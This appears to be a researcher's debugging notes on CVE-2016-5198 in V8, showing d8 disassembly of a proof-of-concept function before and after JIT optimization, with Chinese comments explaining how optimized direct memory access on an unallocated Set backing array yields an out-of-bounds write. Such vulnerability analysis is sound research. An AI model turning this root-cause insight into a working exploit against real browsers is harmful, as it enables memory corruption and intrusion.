jojo@pwn:
/mnt/hgfs/v8/CVE-2016-5198
$ ~
/Desktop/v8/out
.gn
/x64
.debug
/d8
poc.js --print-code
...
//----------------------------
优化前-------------------------------
--- Raw
source
---
() {
n.xyz = 0x826852f4;
parseInt();
}
--- Code ---
source_position = 57
kind = FUNCTION
name = Check
compiler = full-codegen
Instructions (size = 212)
0x247968a869c0 0 55 push rbp
0x247968a869c1 1 4889e5 REX.W movq rbp,rsp
0x247968a869c4 4 56 push rsi
0x247968a869c5 5 57 push rdi
0x247968a869c6 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x247968a869ca 10 488b490f REX.W movq rcx,[rcx+0xf]
0x247968a869ce 14 83411b01 addl [rcx+0x1b],0x1
0x247968a869d2 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x247968a869d9 25 7305 jnc 32 (0x247968a869e0)
0x247968a869db 27 e800bff5ff call StackCheck (0x2479689e28e0) ;; code: BUILTIN
0x247968a869e0 32 48b80000000002000000 REX.W movq rax,0x200000000
0x247968a869ea 42 e8f1d9ffff call 0x247968a843e0 ;; code: LOAD_GLOBAL_IC
0x247968a869ef 47 50 push rax
0x247968a869f0 48 48b881c3c2ba80280000 REX.W movq rax,0x2880bac2c381 ;; object: 0x2880bac2c381 <Number: 2.18788e+09>
0x247968a869fa 58 5a pop rdx
0x247968a869fb 59 48b919b0c2ba80280000 REX.W movq rcx,0x2880bac2b019 ;; object: 0x2880bac2b019 <String[3]: xyz>
0x247968a86a05 69 48bf0000000004000000 REX.W movq rdi,0x400000000
//----------------------------------------------
优化前的变量赋值:优化前使用CALL LOAD_GLOBAL_IC / STORE_IC 去存储 XYZ 数据
0x247968a86a0f 79 e84cb8f0ff call 0x247968992260 ;; code: STORE_IC
//----------------------------------------------
0x247968a86a14 84 488b75f8 REX.W movq rsi,[rbp-0x8]
0x247968a86a18 88 48b80000000008000000 REX.W movq rax,0x800000000
0x247968a86a22 98 e8b9d9ffff call 0x247968a843e0 ;; code: LOAD_GLOBAL_IC
0x247968a86a27 103 50 push rax
0x247968a86a28 104 49ba1123c8293c130000 REX.W movq r10,0x133c29c82311 ;; object: 0x133c29c82311 <undefined>
0x247968a86a32 114 4152 push r10
0x247968a86a34 116 48ba0000000006000000 REX.W movq rdx,0x600000000
0x247968a86a3e 126 488b7c2408 REX.W movq rdi,[rsp+0x8]
0x247968a86a43 131 33c0 xorl rax,rax
0x247968a86a45 133 e8f6ddffff call 0x247968a84840 ;; code: CALL_IC
0x247968a86a4a 138 488b75f8 REX.W movq rsi,[rbp-0x8]
0x247968a86a4e 142 4883c408 REX.W addq rsp,0x8
0x247968a86a52 146 498b45a0 REX.W movq rax,[r13-0x60]
0x247968a86a56 150 48bb61c4c2ba80280000 REX.W movq rbx,0x2880bac2c461 ;; object: 0x2880bac2c461 Cell
for
6144
0x247968a86a60 160 83430bd1 addl [rbx+0xb],0xd1
0x247968a86a64 164 791f jns 197 (0x247968a86a85)
0x247968a86a66 166 50 push rax
0x247968a86a67 167 e8f4bdf5ff call InterruptCheck (0x2479689e2860) ;; code: BUILTIN
0x247968a86a6c 172 58 pop rax
0x247968a86a6d 173 48bb61c4c2ba80280000 REX.W movq rbx,0x2880bac2c461 ;; object: 0x2880bac2c461 Cell
for
6144
0x247968a86a77 183 49ba0000000000180000 REX.W movq r10,0x180000000000
0x247968a86a81 193 4c895307 REX.W movq [rbx+0x7],r10
0x247968a86a85 197 c9 leavel
0x247968a86a86 198 c20800 ret 0x8
0x247968a86a89 201 0f1f8000000000 nop
//----------------------------
优化后-------------------------------
--- Code ---
0x247968a86c40 0 55 push rbp
0x247968a86c41 1 4889e5 REX.W movq rbp,rsp
0x247968a86c44 4 56 push rsi
0x247968a86c45 5 57 push rdi
0x247968a86c46 6 4883ec08 REX.W subq rsp,0x8
0x247968a86c4a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x247968a86c4e 14 488945e8 REX.W movq [rbp-0x18],rax
0x247968a86c52 18 488bf0 REX.W movq rsi,rax
0x247968a86c55 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x247968a86c5c 28 7305 jnc 35 (0x247968a86c63)
0x247968a86c5e 30 e87dbcf5ff call StackCheck (0x2479689e28e0) ;; code: BUILTIN
0x247968a86c63 35 48b859bdc2ba80280000 REX.W movq rax,0x2880bac2bd59 ;; object: 0x2880bac2bd59 PropertyCell
for
0x2d4f15ad45e9 <a Set with map 0xf3399b8c391>
0x247968a86c6d 45 488b400f REX.W movq rax,[rax+0xf]
//----------------------------------------------------------------
优化后减少了CALL LOAD_GLOBAL_IC / STORE_IC 的调用,取而代之的是直接的内存访问
//
原因是因为 Set 的 Fixed_Array 尚未分配空间,此时写的话就会产生数组越界问题
0x247968a86c71 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x247968a86c7b 59 c4c1f96ec2 vmovq xmm0,r10
0x247968a86c80 64 488b4007 REX.W movq rax,[rax+0x7]
0x247968a86c84 68 488b400f REX.W movq rax,[rax+0xf]
0x247968a86c88 72 c5fb114007 vmovsd [rax+0x7],xmm0
//----------------------------------------------------------------
0x247968a86c8d 77 49ba1123c8293c130000 REX.W movq r10,0x133c29c82311 ;; object: 0x133c29c82311 <undefined>
0x247968a86c97 87 4152 push r10
0x247968a86c99 89 48bf51d8c0ba80280000 REX.W movq rdi,0x2880bac0d851 ;; object: 0x2880bac0d851 <JS Function parseInt (SharedFunctionInfo 0x133c29cbce11)>
0x247968a86ca3 99 488b75e8 REX.W movq rsi,[rbp-0x18]
0x247968a86ca7 103 488b7727 REX.W movq rsi,[rdi+0x27]
0x247968a86cab 107 498b55a0 REX.W movq rdx,[r13-0x60]
0x247968a86caf 111 33c0 xorl rax,rax
0x247968a86cb1 113 bb02000000 movl rbx,0x2
0x247968a86cb6 118 e845efefff call ArgumentsAdaptorTrampoline (0x247968985c00) ;; code: BUILTIN
0x247968a86cbb 123 48b81123c8293c130000 REX.W movq rax,0x133c29c82311 ;; object: 0x133c29c82311 <undefined>
0x247968a86cc5 133 488be5 REX.W movq rsp,rbp
0x247968a86cc8 136 5d pop rbp
0x247968a86cc9 137 c20800 ret 0x8